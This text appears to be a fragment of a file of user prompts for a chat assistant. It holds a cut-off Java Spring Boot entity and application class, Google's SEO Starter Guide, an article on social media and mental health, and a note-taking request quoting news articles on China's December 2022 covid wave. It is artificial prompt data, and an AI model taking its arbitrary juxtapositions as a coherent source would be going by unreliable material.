Retrieves the related PackageVersions.\n \\* This is a 1:M Bidirectional relationship.\n \\*\n \\*/\n @OneToMany(mappedBy="generator")\n @JsonIgnore\n private List packageVersions;\n //Owner of the one-to-one relationship\n @OneToOne(cascade = CascadeType.ALL, fetch = FetchType.EAGER)\n @JsonIgnoreProperties({"hibernateLazyInitializer", "handler"})\n @JoinColumn(name = "GENERATOR\\_DETAILS\\_ID", referencedColumnName = "ID")\n @Fetch(FetchMode.SELECT)\n @NotFound(action=NotFoundAction.IGNORE)\n private GeneratorDetails generatorDetails;\n @ManyToMany(fetch = FetchType.EAGER)\n @JoinTable(name = "LC\\_ATHX\\_GENERATOR\\_HOSTSERVER",\n joinColumns = { @JoinColumn(name = "GENERATOR\\_ID") },\n inverseJoinColumns = { @JoinColumn(name = "HOST\\_SERVER\\_TYPES\\_ID") })\n //@JsonIgnore\n private Set hostServerTypes = new HashSet<>();\n @ManyToMany(fetch = FetchType.EAGER)\n @JoinTable(name = "LC\\_ATHX\\_GENERATOR\\_ATTRIBUTE",\n joinColumns = { @JoinColumn(name = "GENERATOR\\_ID") },\n inverseJoinColumns = { @JoinColumn(name = "ATTRIBUTE\\_ID") })\n //@JsonIgnore\n private Set attributeType = new HashSet<>();\n @OneToMany(mappedBy = "generator", cascade=CascadeType.MERGE, fetch = FetchType.LAZY)\n //@JsonIgnore\n private List generatorComment = new ArrayList();\n @OneToMany(mappedBy = "generator", cascade=CascadeType.ALL, fetch = FetchType.LAZY)\n //@JsonIgnore\n private List generatorAttachment = new ArrayList();\n\n @OneToMany(mappedBy = "generator", cascade=CascadeType.ALL, fetch = FetchType.LAZY)\n private List athxFyDataList = new ArrayList();\n \n @Column(name = "CREATE\\_DATE", nullable=false)\n private Date createDate;\n\n @Column(name = "MODIFY\\_DATE", nullable=false)\n private Date modifyDate;\n\n}\n @PersistenceContext\n private EntityManager entityManager;\n\npackage com.mentor.authex;\nimport java.util.Arrays;\n\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\nimport org.springframework.boot.CommandLineRunner;\nimport org.springframework.boot.SpringApplication;\nimport org.springframework.boot.autoconfigure.EnableAutoConfiguration;\nimport org.springframework.boot.autoconfigure.SpringBootApplication;\nimport org.springframework.boot.builder.SpringApplicationBuilder;\nimport org.springframework.boot.web.servlet.support.SpringBootServletInitializer;\nimport org.springframework.context.ApplicationContext;\nimport org.springframework.context.annotation.Bean;\nimport org.springframework.context.annotation.ComponentScan;\nimport org.springframework.context.annotation.Configuration;\nimport org.springframework.context.annotation.PropertySource;\nimport org.springframework.scheduling.annotation.EnableScheduling;\nimport org.springframework.web.client.RestTemplate;\n@Configuration\n@EnableAutoConfiguration\n@SpringBootApplication\n@EnableScheduling\n@ComponentScan(basePackages = "com.mentor.authex,com.disw.\\*")\n@PropertySource(value = {\n"${config-file-path}/authex.properties"})\npublic class Application extends SpringBootServletInitializer {\n\n static final Logger log = LoggerFactory.getLogger(Application.class);\n\n @Override\n protected SpringApplicationBuilder configure(SpringApplicationBuilder application) {\n log.debug("In configure()");\n\n //TimeZone.setDefault(TimeZone.getTimeZone("America/Los\\_Angeles"));\n return application.sources(Application.class);\n }\n\n @Bean\n public CommandLineRunner commandLineRunner(ApplicationContext ctx) {\n return args -> {\n log.debug("Let\'s inspect the beans provided by Spring Boot:");\n String[] beanNames = ctx.getBeanDefinitionNames();\n Arrays.sort(beanNames);\n for (String beanName : beanNames) {\n log.debug(beanName);\n }\n };\n }\n\n @Bean\n public RestTemplate restTemplate() {\n return new RestTemplate();\n }\n\n// @Bean\n// @Primary\n// @ConfigurationProperties(prefix = "datasource.primary")\n// public DataSource numberMasterDataSource() {\n// return DataSourceBuilder.create().build();\n// }\n//\n// @Bean\n// @ConfigurationProperties(prefix = "datasource.secondary")\n// public DataSource provisioningDataSource() {\n// return DataSourceBuilder.create().build();\n// }\n\n /\\*\\*\n \\*\n \\* @param args\n \\* @throws Exception\n \\*/\n public static void main(String[] args) throws Exception {\n log.debug("In main()");\n SpringApplication.run(Application.class, args);\n }\n\n}' +"Search Engine Optimization (SEO) Starter Guide\nWho is this guide for?\nIf you own, manage, monetize, or promote online content via Google Search, this guide is meant for you. You might be the owner of a growing and thriving business, the website owner of a dozen sites, the SEO specialist in a web agency or a DIY SEO expert passionate about the mechanics of Search: this guide is meant for you. If you're interested in having a complete overview of the basics of SEO according to our best practices, you are indeed in the right place. This guide won't provide any secrets that'll automatically rank your site first in Google (sorry!), but following the best practices will hopefully make it easier for search engines to crawl, index, and understand your content.\n\nSearch engine optimization (SEO) is often about making small modifications to parts of your website. When viewed individually, these changes might seem like incremental improvements, but when combined with other optimizations, they could have a noticeable impact on your site's user experience and performance in organic search results. You're likely already familiar with many of the topics in this guide, because they're essential ingredients for any web page, but you may not be making the most out of them.\n\nYou should build a website to benefit your users, and gear any optimization toward making the user experience better. One of those users is a search engine, which helps other users discover your content. SEO is about helping search engines understand and present content. Your site may be smaller or larger than our example site and offer vastly different content, but the optimization topics in this guide apply to sites of all sizes and types. We hope our guide gives you some fresh ideas on how to improve your website, and we'd love to hear your questions, feedback, and success stories in the Google Search Central Help Community.\n\nGetting started\nGlossary\nHere's a short glossary of important terms used in this guide:\n\nIndex - Google stores all web pages that it knows about in its index. The index entry for each page describes the content and location (URL) of that page. To index is when Google fetches a page, reads it, and adds it to the index: Google indexed several pages on my site today.\nCrawl - The process of looking for new or updated web pages. Google discovers URLs by following links, by reading sitemaps, and by many other means. Google crawls the web, looking for new pages, then indexes them (when appropriate).\nCrawler - Automated software that crawls (fetches) pages from the web and indexes them.\nGooglebot - The generic name of Google's crawler. Googlebot crawls the web constantly.\nSEO - Search engine optimization: the process of making your site better for search engines. Also the job title of a person who does this for a living: We just hired a new SEO to improve our presence on the web.\nAre you on Google?\nDetermine whether your site is in Google's index\nDo a site: search for your site's home URL. If you see results, you're in the index. For example, a search for site:wikipedia.org returns these results.\n\nThe site: operator doesn't necessarily return all the URLs that are indexed under the prefix specified in the query. Learn more about the site: operator.\nIf your site isn't in Google\nAlthough Google crawls billions of pages, it's inevitable that some sites will be missed. When our crawlers miss a site, it's frequently for one of the following reasons:\n\nThe site isn't well connected from other sites on the web\nYou've just launched a new site and Google hasn't had time to crawl it yet\nThe design of the site makes it difficult for Google to crawl its content effectively\nGoogle received an error when trying to crawl your site\nYour policy blocks Google from crawling the site\nHow do I get my site on Google?\nGoogle is a fully automated search engine that uses web crawlers to explore the web constantly, looking for sites to add to our index; you usually don't even need to do anything except post your site on the web. In fact, the vast majority of sites listed in our results aren't manually submitted for inclusion, but found and added automatically when we crawl the web. Learn how Google discovers, crawls, and serves web pages.\n\nThe Search Essentials outline the most important elements of building a Google-friendly website. While there's no guarantee that our crawlers will find a particular site, following the Search Essentials can help make your site appear in our search results.\n\nGoogle Search Console provides tools to help you submit your content to Google and monitor how you're doing in Google Search. If you want, Search Console can even send you alerts on critical issues that Google encounters with your site. Sign up for Search Console.\n\nHere are a few basic questions to ask yourself about your website when you get started.\n\nIs my website showing up on Google?\nDo I serve high-quality content to users?\nIs my local business showing up on Google?\nIs my content fast and easy to access on all devices?\nIs my website secure?\nDo you need an SEO expert?\nAn SEO expert is someone trained to improve your visibility on search engines. By following this guide, you'll learn enough to be well on your way to an optimized site. In addition to that, you may want to consider hiring an SEO professional that can help you audit your pages.\n\nDeciding to hire an SEO is a big decision that can potentially improve your site and save time. Make sure to research the potential advantages of hiring an SEO, as well as the damage that an irresponsible SEO can do to your site. Many SEOs and other agencies and consultants provide useful services for website owners, including:\n\nReview of your site content or structure\nTechnical advice on website development: for example, hosting, redirects, error pages, use of JavaScript\nContent development\nManagement of online business development campaigns\nKeyword research\nSEO training\nExpertise in specific markets and geographies\nBefore beginning your search for an SEO, it's a great idea to become an educated consumer and get familiar with how search engines work. We recommend going through the entirety of this guide and specifically these resources:\n\nHow Google crawls, indexes and serves the web\nSearch Essentials\nHow to hire an SEO\nIf you're thinking about hiring an SEO, the earlier the better. A great time to hire is when you're considering a site redesign, or planning to launch a new site. That way, you and your SEO can ensure that your site is designed to be search engine-friendly from the bottom up. However, a good SEO can also help improve an existing site.\n\nFor a detailed rundown on the need for hiring an SEO and what things to look out for, you can read Do you need an SEO.\n\nHelp Google find your content\nThe first step to getting your site on Google is to be sure that Google can find it. The best way to do that is to submit a sitemap. A sitemap is a file on your site that tells search engines about new or changed pages on your site. Learn more about how to build and submit a sitemap.\n\nGoogle also finds pages through links from other pages. Learn how to encourage people to discover your site by Promoting your site.\n\nTell Google which pages you don't want crawled\nFor non-sensitive information, block unwanted crawling by using robots.txt\nA robots.txt file tells search engines whether they can access and therefore crawl parts of your site. This file, which must be named robots.txt, is placed in the root directory of your site. It is possible that pages blocked by robots.txt can still be crawled, so for sensitive pages, use a more secure method.\n# brandonsbaseballcards.com/robots.txt\n# Tell Google not to crawl any URLs in the shopping cart or images in the icons folder,\n# because they won't be useful in Google Search results.\nUser-agent: googlebot\nDisallow: /checkout/\nDisallow: /icons/\nYou may not want certain pages of your site crawled because they might not be useful to users if found in a search engine's search results. Note that if your site uses subdomains and you wish to have certain pages not crawled on a particular subdomain, you'll have to create a separate robots.txt file for that subdomain. For more information on robots.txt, we suggest this guide on using robots.txt files.\n\nRead about several other ways to prevent content from appearing in search results.\n\nAvoid:\n\nLetting your internal search result pages be crawled by Google. Users dislike clicking a search engine result only to land on another search result page on your site.\nAllowing URLs created as a result of proxy services to be crawled.\nFor sensitive information, use more secure methods\nA robots.txt file is not an appropriate or effective way of blocking sensitive or confidential material. It only instructs well-behaved crawlers that the pages are not for them, but it does not prevent your server from delivering those pages to a browser that requests them. One reason is that search engines could still reference the URLs you block (showing just the URL, no title link or snippet) if there happen to be links to those URLs somewhere on the Internet (like referrer logs). Also, non-compliant or rogue search engines that don't acknowledge the Robots Exclusion Standard could disobey the instructions of your robots.txt. Finally, a curious user could examine the directories or subdirectories in your robots.txt file and guess the URL of the content that you don't want seen.\n\nIn these cases, use the noindex tag if you just want the page not to appear in Google, but don't mind if any user with a link can reach the page. For real security, use proper authorization methods, like requiring a user password, or taking the page off your site entirely." +'Next paragraph:\n(Respond with "Received" when it is received. Do not provide any other text.)\nWhat’s driving your social media use?\nThese days, most of us access social media via our smartphones or tablets. While this makes it very convenient to keep in touch, it also means that social media is always accessible. This round-the-clock, hyper connectivity can trigger impulse control problems, the constant alerts and notifications affecting your concentration and focus, disturbing your sleep, and making you a slave to your phone.\n\nSocial media platforms are designed to snare your attention, keep you online, and have you repeatedly checking your screen for updates. It’s how the companies make money. But, much like a gambling compulsion or an addiction to nicotine, alcohol, or drugs, social media use can create psychological cravings. When you receive a like, a share, or a favorable reaction to a post, it can trigger the release of dopamine in the brain, the same “reward” chemical that follows winning on a slot machine, taking a bite of chocolate, or lighting up a cigarette, for example. The more you’re rewarded, the more time you want to spend on social media, even if it becomes detrimental to other aspects of your life.\n\nOther causes of unhealthy social media use\nA fear of missing out (FOMO) can keep you returning to social media over and over again. Even though there are very few things that can’t wait or need an immediate response, FOMO will have you believing otherwise. Perhaps you’re worried that you’ll be left out of the conversation at school or work if you miss the latest news or gossip on social media? Or maybe you feel that your relationships will suffer if you don’t immediately like, share, or respond to other people’s posts? Or you could be worried you’ll miss out on an invitation or that other people are having a better time than you.\n\nMany of us use social media as a “security blanket”. Whenever we’re in a social situation and feel anxious, awkward, or lonely, we turn to our phones and log on to social media. Of course, interacting with social media only denies you the face-to-face interaction that can help to ease anxiety.\n\nYour heavy social media use could be masking other underlying problems, such as stress, depression, or boredom. If you spend more time on social media when you’re feeling down, lonely, or bored, you may be using it as a way to distract yourself from unpleasant feelings or self-soothe your moods. While it can be difficult at first, allowing yourself to feel can open you up to finding healthier ways to manage your moods.\n\nThe vicious cycle of unhealthy social media use\n\nExcessive social media use can create a negative, self-perpetuating cycle:\n\nWhen you feel lonely, depressed, anxious, or stressed, you use social media more often—as a way to relieve boredom or feel connected to others.\nUsing social media more often, though, increases FOMO and feelings of inadequacy, dissatisfaction, and isolation.\nIn turn, these feelings negatively affect your mood and worsen symptoms of depression, anxiety, and stress.\nThese worsening symptoms cause you to use social media even more, and so the downward spiral continues.\nSigns that social media is impacting your mental health\nEveryone is different and there is no specific amount of time spent on social media, or the frequency you check for updates, or the number of posts you make that indicates your use is becoming unhealthy. Rather, it has to do with the impact time spent on social media has on your mood and other aspects of your life, along with your motivations for using it.\n\nFor example, your social media use may be problematic if it causes you to neglect face-to-face relationships, distracts you from work or school, or leaves you feeling envious, angry, or depressed. Similarly, if you’re motivated to use social media just because you’re bored or lonely, or want to post something to make others jealous or upset, it may be time to reassess your social media habits.\n\nIndicators that social media may be adversely affecting your mental health include:\n\nSpending more time on social media than with real world friends. Using social media has become a substitute for a lot of your offline social interaction. Even if you’re out with friends, you still feel the need to constantly check social media, often driven by feelings that others may be having more fun than you.\n\nComparing yourself unfavorably with others on social media. You have low self-esteem or negative body image. You may even have patterns of disordered eating.\n\nExperiencing cyberbullying. Or you worry that you have no control over the things people post about you.\n\nBeing distracted at school or work. You feel pressure to post regular content about yourself, get comments or likes on your posts, or respond quickly and enthusiastically to friends’ posts.\n\nHaving no time for self-reflection. Every spare moment is filled by engaging with social media, leaving you little or no time for reflecting on who you are, what you think, or why you act the way that you do—the things that allow you to grow as a person.\n\nEngaging in risky behavior in order to gain likes, shares, or positive reactions on social media. You play dangerous pranks, post embarrassing material, cyberbully others, or access your phone while driving or in other unsafe situations. \n\n[Read: Dealing with Revenge Porn and “Sextortion”]\n\nSuffering from sleep problems. Do you check social media last thing at night, first thing in the morning, or even when you wake up in the night? The light from phones and other devices can disrupt your sleep, which in turn can have a serious impact on your mental health.\n\nWorsening symptoms of anxiety or depression. Rather than helping to alleviate negative feelings and boost your mood, you feel more anxious, depressed, or lonely after using social media.\n\nModifying social media use to improve mental health step 1: Reduce time online\nA 2018 University of Pennsylvania study found that reducing social media use to 30 minutes a day resulted in a significant reduction in levels of anxiety, depression, loneliness, sleep problems, and FOMO. But you don’t need to cut back on your social media use that drastically to improve your mental health. The same study concluded that just being more mindful of your social media use can have beneficial results on your mood and focus. \n\nWhile 30 minutes a day may not be a realistic target for many of us, we can still benefit from reducing the amount of time we spend on social media. For most of us, that means reducing how much we use our smartphones. The following tips can help:\n\nUse an app to track how much time you spend on social media each day. Then set a goal for how much you want to reduce it by.\nTurn off your phone at certain times of the day, such as when you’re driving, in a meeting, at the gym, having dinner, spending time with offline friends, or playing with your kids. Don’t take your phone with you to the bathroom.\nDon’t bring your phone or tablet to bed. Turn devices off and leave them in another room overnight to charge.\nDisable social media notifications. It’s hard to resist the constant buzzing, beeping, and dinging of your phone alerting you to new messages. Turning off notifications can help you regain control of your time and focus.\nLimit checks. If you compulsively check your phone every few minutes, wean yourself off by limiting your checks to once every 15 minutes. Then once every 30 minutes, then once an hour. There are apps that can automatically limit when you’re able to access your phone.\nTry removing social media apps from your phone so you can only check Facebook, Twitter and the like from your tablet or computer. If this sounds like too drastic a step, try removing one social media app at a time to see how much you really miss it.\nFor more tips on reducing your overall phone use, read Smartphone Addiction.\n\nStep 2: Change your focus\nMany of us access social media purely out of habit or to mindlessly kill moments of downtime. But by focusing on your motivation for logging on, you can not only reduce the time you spend on social media, you can also improve your experience and avoid many of the negative aspects.\n\nIf you’re accessing social media to find specific information, check on a friend who’s been ill, or share new photos of your kids with family, for example, your experience is likely to be very different than if you’re logging on simply because you’re bored, you want to see how many likes you got from a previous post, or to check if you’re missing out on something.\n\nNext time you go to access social media, pause for a moment and clarify your motivation for doing so.\n\nAre you using social media as a substitute for real life? Is there a healthier substitute for your social media use? If you’re lonely, for example, invite a friend out for coffee instead. Feeling depressed? Take a walk or go to the gym. Bored? Take up a new hobby. Social media may be quick and convenient, but there are often healthier, more effective ways to satisfy a craving.\n\nAre you an active or a passive user on social media? Passively scrolling through posts or anonymously following the interaction of others on social media doesn’t provide any meaningful sense of connection. It may even increase feelings of isolation. Being an active participant, though, will offer you more engagement with others.\n\nDoes social media leave you feeling inadequate or disappointed about your life? You can counter symptoms of FOMO by focusing on what you have, rather than what you lack. Make a list of all the positive aspects of your life and read it back when you feel you’re missing out on something better. And remember: no one’s life is ever as perfect as it seems on social media. We all deal with heartache, self-doubt, and disappointment, even if we choose not to share it online. \n\nStep 3: Spend more time with offline friends\nWe all need the face-to-face company of others to be happy and healthy. At its best, social media is a great tool for facilitating real-life connections. But if you’ve allowed virtual connections to replace real-life friendships in your life, there are plenty of ways to build meaningful connections without relying on social media.\n\nSet aside time each week to interact offline with friends and family. Try to make it a regular get-together where you always keep your phones off.\n\nIf you’ve neglected face-to-face friendships, reach out to an old friend (or an online friend) and arrange to meet up. If you both lead busy lives, offer to run errands or exercise together.\n\nJoin a club. Find a hobby, creative endeavor, or fitness activity you enjoy and join a group of like-minded individuals that meet on a regular basis.\n\nDon’t let social awkwardness stand in the way. Even if you’re shy, there are proven techniques to overcome insecurity and build friendships.\n\nIf you don’t feel that you have anyone to spend time with, reach out to acquaintances. Lots of other people feel just as uncomfortable about making new friends as you do—so be the one to break the ice. Invite a coworker out for lunch or ask a neighbor or classmate to join you for coffee.\n\nInteract with strangers. Look up from your screen and connect with people you cross paths with on public transport, at the coffee shop, or in the grocery store. Simply smiling or saying hello will improve how you feel—and you never know where it may lead.\n\nStep 4: Express gratitude\nFeeling and expressing gratitude about the important things in your life can be a welcome relief to the resentment, animosity, and discontent sometimes generated by social media.\n\nTake time for reflection. Try keeping a gratitude journal or using a gratitude app. Keep track of all the great memories and positives in your life—as well as those things and people you’d miss if they were suddenly absent from your life. If you’re more prone to venting or negative posts, you can even express your gratitude on social media—although you may benefit more from private reflection that isn’t subject to the scrutiny of others. \n\n[Read: Gratitude: The Benefits and How to Practice It]\n\nPractice mindfulness. Experiencing FOMO and comparing yourself unfavorably to others keeps you dwelling on life’s disappointments and frustrations. Instead of being fully engaged in the present, you’re focused on the “what ifs” and the “if onlys” that prevent you from having a life that matches those you see on social media. By practicing mindfulness, you can learn to live more in the present moment, lessen the impact of FOMO, and improve your overall mental wellbeing.\n\nVolunteer. Just as human beings are hard-wired to seek social connection, we’re also hard-wired to give to others. Helping other people or animals not only enriches your community and benefits a cause that’s important to you, but it also makes you feel happier and more grateful.\n\nHelping a child or teen with unhealthy social media use\nChildhood and the teenage years can be filled with developmental challenges and social pressures. For some kids, social media has a way of exacerbating those problems and fueling anxiety, bullying, depression, and issues with self-esteem. If you’re worried about your child’s social media use, it can be tempting to simply confiscate their phone or other device. But that can create further problems, separating your child from their friends and the positive aspects of social media. Instead, there are other ways to help your child use Facebook, Instagram, and other platforms in a more responsible way.\n\nMonitor and limit your child’s social media use. The more you know about how your child is interacting on social media, the better you’ll be able to address any problems. Parental control apps can help limit your child’s data usage or restrict their phone use to certain times of the day. You can also adjust privacy settings on the different platforms to limit their potential exposure to bullies or predators.\n\nTalk to your child about underlying issues. Problems with social media use can often mask deeper issues. Is your child having problems fitting in at school? Are they suffering from shyness or social anxiety? Are problems at home causing them stress?\n\nEnforce “social media” breaks. For example, you could ban social media until your child has completed their homework in the evening, not allow phones at the dinner table or in their bedroom, and plan family activities that preclude the use of phones or other devices. To prevent sleep problems, always insist phones are turned off at least one hour before bed.\n\nTeach your child how social media is not an accurate reflection of people’s lives. They shouldn’t compare themselves or their lives negatively to others on social media. People only post what they want others to see. Images are manipulated or carefully posed and selected. And having fewer friends on social media doesn’t make your child less popular or less worthy.\n\nEncourage exercise and offline interests. Get your child away from social media by encouraging them to pursue physical activities and hobbies that involve real-world interaction. Exercise is great for relieving anxiety and stress, boosting self-esteem, and improving mood—and is something you can do as a family. The more engaged your child is offline, the less their mood and sense of self-worth will be dependent on how many friends, likes, or shares they have on social media.\n\nEnd of article.' +'Assuming that I am keeping the sentences that I find interesting in a note app, please provide me with tags that I could use in my note-taking app and please provide me with a short description of what I am researching. Also, please let me know the three most relevant topics that I should research next. For each of the three topics please provide me with two experts in this field, and please include their Twitter profiles. Also, for each of the three topics, please provide me with the most reputable sources on the internet.\n\nArticle: "What China can still do to avoid an enormous covid death toll It must treat hospitals as a precious resource and start stockpiling drugs People wearing face masks walk in a subway station, as coronavirus disease (COVID-19) outbreaks continue in Shanghai, China, December 8, 2022. Testing stations are being removed from city streets. The enforcers of “zero-covid” are nowhere to be found. In China’s battle against covid-19, the state has disappeared from the front lines. For nearly three years President Xi Jinping tried to contain the virus, calling his efforts a “people’s war”. Now he has surrendered and the people must live with the enemy. Listen to this story. Enjoy more audio and podcasts on iOS or Android. Mr Xi is not the first leader to conclude that such a fight was unwinnable. But before ditching their zero-covid policies, other countries first took pains to administer vaccines, stockpile antiviral drugs and draw up treatment guidelines. China had ample time to do all of that. Yet more than two years after the first vaccine proved effective, the country remains ill-prepared. That has made opening up much more dangerous than it ought to be. How dangerous? In this week’s China section we publish our model of how the epidemic might play out. It comes with essential caveats. Modelling an epidemic is difficult. Modelling one in China, where the data are often unreliable, is even harder. We take into account variables such as vaccination rates, the effectiveness of Chinese jabs, the lethality of covid for different age groups and the number of intensive-care beds. In a worst case, if covid spreads freely and many people cannot get care, we estimate that in the coming months 1.5m Chinese people will die from the virus. Although that is a lower share of the population than in many rich countries, it is still a criticism of the government’s poor preparations. It is also a call to action. A vaccination drive will take months. The government has waited too long to build and staff new icus. But even if the state will not impose lockdowns while it prepares, it can mitigate the number of deaths. It should start by protecting the health system. A wave of covid is breaking over China. Our model sees this peaking in January. By that time hospitals risk being overwhelmed. Beds and staff are a precious resource to be husbanded. That means keeping people who are not seriously ill away from hospitals. To that end, the state could help drug companies restock pharmacies that run out of such things as lateral-flow tests and paracetamol. Medical staff should be vaccinated first and they must be given the proper gear to minimise the risk of infection. A second step is to ensure cheap and plentiful supplies of covid drugs. Dexamethasone, a low-priced steroid, has been shown to reduce deaths among the most severely ill patients. Antivirals, such as Paxlovid, help keep those most at risk out of hospital. These drugs have become part of the toolkit doctors around the world are using to fight the virus. They could save many thousands of lives in China. Only the government knows if it has enough of them to go around. If not, it should start stocking up. Foreign governments would surely send supplies if China asked. President Xi Jinping should not let his pride imperil China’s people, as he has done by shunning more efficacious Western vaccines. China’s vaccines still work. So the third priority is to get them into people’s arms. It may be too late for many in this wave, but there will be others. Less than half of those over 80 years old have had three shots, the number needed for decent protection against severe disease and death. Yet some of the elderly have gone to the clinic for a jab only to be turned away for lack of supplies. Until recently, some vaccine factories were sitting idle. Vast quantities will be needed. Six-monthly booster shots ought to become a normal part of life for older Chinese. As the state has failed to do its job, people are helping themselves. Masks are ubiquitous in many cities and more people are working from home. Restaurants and cinemas may be open, but in cities such as Beijing they remain largely empty. All this will help slow the growth of this covid wave and ease the pressure on hospitals. But the government must also act. In a country the size of China, even small steps could save many lives." From the article above, I find the following sentences most interesting: 1. "President Xi Jinping tried to contain the virus, calling his efforts a “people’s war”" 2. "A wave of covid is breaking over China. Our model sees this peaking in January." 3. "we estimate that in the coming months 1.5m Chinese people will die from the virus" 4. "To that end, the state could help drug companies restock pharmacies that run out of such things as lateral-flow tests and paracetamol" 5. "A second step is to ensure cheap and plentiful supplies of covid drugs. Dexamethasone, a low-priced steroid, has been shown to reduce deaths among the most severely ill patients." 6. "China’s vaccines still work. So the third priority is to get them into people’s arms." Article: "How Chinese people are dealing with the spread of covid-19 The government has left the public to fend for itself A elderly man wearing a face mask and goggle walks on a street in Beijing, Sunday, Dec. 11, 2022. Facing a surge in COVID-19 cases, China is setting up more intensive care facilities and trying to strengthen hospitals as Beijing rolls back anti-virus controls that confined millions of people to their homes, crushed economic growth and set off protests. Just a few months ago Chinese people had little fear of catching covid-19. The government’s “zero-covid” measures kept them safe for the most part. Mass testing and strict lockdowns contained the virus. If a person did test positive, the government would swoop in. The infected were taken to state-run quarantine centres. If symptomatic, they were treated in a designated hospital. Health workers would douse their house with disinfectant and test their neighbours. All this changed on December 7th, when the central government largely ditched its zero-covid policy, lifting most restrictions. Six days later it scrapped an app that tracked people’s movements. The highly transmissible Omicron variant had made zero-covid unsustainable. Now the public is expected to fend for itself. “Be the first person responsible for your own health,” wrote the People’s Daily, a Communist Party mouthpiece. Some residents of Beijing have received letters from the local committees that used to enforce covid controls. Stop reporting fevers and coughs to us, one read, before wishing people good luck. “Thank you for the past three years of support and understanding.” The official number of new cases is falling, as if the virus were fading away. But official numbers are no longer reliable because the government has scaled back testing. If it has an alternative way of keeping tabs on the epidemic, it is not sharing it. Still, it is pretty clear that a covid wave is building, as people share stories of infection online. An informal survey has been circulating on social media asking Beijing residents if they have caught the virus. As The Economist went to press, 39% of the 434,000 or so respondents had said yes. Such surveys are striking, not just for the numbers. A few months ago people who had caught covid were stigmatised. They might, for example, struggle to find jobs after recovering. Now the disease is so common that people are posting their test results on social media, often substituting for the word “positive” a cartoon of a sheep (which is a Chinese homophone for positive). Others are sharing lighthearted advice about the best time to catch covid. An infection now or in early January, for example, might clear up in time for a person to enjoy both Christmas and the lunar new year. “Why aren’t I positive yet?” complained one young woman in a video. Others, though, are worried. Until recently the government told people that covid was to be feared. Now the official line is that Omicron is no worse than the flu. Infected people who are not showing serious symptoms have been encouraged to stay at home and treat themselves. Not everyone is listening. Beijing’s emergency-call operators have been swamped by over 30,000 calls a day, about six times the average. Queues have appeared outside fever clinics in several cities. Certain medicines are in short supply. On December 13th a health-care website began selling Paxlovid, a highly effective antiviral drug used to treat covid. Its initial stocks sold out in half an hour. Hospitals are under more stress as doctors and nurses catch the virus. There are reports that some medical workers who have tested positive have been asked to come in anyway, risking more transmission within hospitals. As of December 13th Beijing had 50 severely ill patients, according to the official numbers. So far, the health system does not appear to be overwhelmed. But the peak of this wave is still some way off. It will probably come in late January, at least in Beijing, says Ben Cowling, a professor of epidemiology at the University of Hong Kong. With the government changing its message, people are looking elsewhere for guidance. Overseas Chinese students who have experience with covid are sharing advice on WeChat, a social-media app. They tell people what symptoms to expect and how long they might last. In general, though, good information on the virus is lacking. There are reports of people going to hospital after taking too much fever medicine. Herbal remedies used to combat covid are in hot demand, though doctors doubt their effectiveness. Vaccines, not voodoo At least people now see the need to protect themselves against the virus, which was once viewed as a terrifying but distant threat. More are getting vaccinated. The number of jabs administered each day has increased from fewer than 200,000 to over 1m. But there is a lot of ground to make up, especially when it comes to the most vulnerable. Only around 40% of people over 80 have received the three doses needed to significantly reduce the chances of severe disease or death. Yet some elderly people have had trouble getting a shot because of a lack of supply at clinics. People are also taking steps that will help mitigate the spread of the disease and perhaps reduce the pressure on hospitals. In Beijing the shopping centres and streets are largely empty, as people stay inside. Call it a self-imposed lockdown. People who do venture out wear n95 masks (which are good at filtering small airborne particles). Demand for home deliveries of meals and groceries has shot up. But people are still making plans to travel back to their villages and home towns for the lunar new year in late January. Data from Ctrip, a booking platform, show that the volume of searches for flights has increased by 160% since the government loosened restrictions. Searches for train tickets on Baidu, a search engine, increased by nearly 600% during that time. Many rural areas are woefully unprepared to handle a surge in cases. When the peak of this wave approaches, “it would make a lot of sense to bring back some public-health measures,” says Mr Cowling. But reversing course may be hard for the government to justify without admitting that it had made a mistake." From the article above, I find the following sentences most interesting: 1. "lifting most restrictions. Six days later it scrapped an app that tracked people’s movements" 2. "Now the public is expected to fend for itself. “Be the first person responsible for your own health,” wrote the People’s Daily" 3. "But official numbers are no longer reliable because the government has scaled back testing" 4. "A few months ago people who had caught covid were stigmatised. They might, for example, struggle to find jobs after recovering." 5. "Beijing’s emergency-call operators have been swamped by over 30,000" Article: "China pushes vaccines as retreat from \'zero-COVID\' turns messy. Beijing urges inoculations for elderly WHO calls for vaccine drive as virus spreads Economic summit starts amid more dire data BEIJING/SHANGHAI, Dec 15 (Reuters) - China raced to vaccinate its most vulnerable people on Thursday in anticipation of waves of COVID-19 infections, with some analysts expecting the death toll to soar after it eased strict controls that had kept the pandemic at bay for three years. The push comes as the World Health Organisation also raised concerns that China\'s 1.4 billion population was not adequately vaccinated and the United States offered help in dealing with a surge in infections. Beijing last Wednesday began dismantling its tough \'zero-COVID\' controls, dropping testing requirements and easing quarantine rules that had caused anxiety for tens of millions and battered the world\'s second largest economy. The pivot away from President Xi Jinping\'s signature "zero-COVID" policy followed unprecedented widespread protests against it. But, WHO emergencies director Mike Ryan said infections were exploding in China well before the government\'s decision to phase out its stringent regime. "There\'s a narrative at the moment that China lifted the restrictions and all of a sudden the disease is out of control," Ryan told a briefing in Geneva. "The disease was spreading intensively because I believe the control measures in themselves were not stopping the disease." Chinese foreign ministry spokesperson Wang Wenbin said on Thursday China has "institutional advantages" to fight COVID. "We will certainly be able to smoothly get through the peak of the epidemic," he told a regular news briefing in response to White House national security spokesperson John Kirby saying that the United States was ready to help if China requested it. There are increasing signs of chaos during China\'s change of tack - including long queues outside fever clinics, runs on medicines and panic buying across the country. On Thursday night, China\'s state asset regulator urged state-backed big drugmakers to ensure supplies of COVID-related medicines. The companies include China Resources, China General Technology and Sinopharm, which own businesses that produce drugs that could ease coronavirus symptoms. One video posted online on Wednesday showed several people in thick winter clothes hooked up to intravenous drips as they sat on stools on the street outside a clinic in central Hubei province. Reuters verified the location of the video. The COVID scare in China also led people in Hong Kong, Macau and in some neighbourhoods in Australia to go in search for fever medicines and test kits for family and friends on the mainland. For all its efforts to quell the virus since it erupted in the central city of Wuhan in late 2019, China may now pay a price for shielding a population that lacks "herd immunity" and has low vaccination rates among the elderly, analysts said. "Authorities have let cases in Beijing and other cities spread to the point where resuming restrictions, testing and tracing would be largely ineffective in bringing outbreaks under control," analysts at Eurasia Group said in a note on Thursday. "Upward of 1 million people could die from COVID in the coming months." Other experts have put the potential toll at more than 2 million. China has reported just 5,235 COVID-related deaths so far, extremely low by global standards. China\'s stock markets and its currency fell on Thursday on concerns of the virus spread. China reported 2,000 new symptomatic COVID-19 infections for Dec. 14 compared with 2,291 a day. The official figures, however, have become less 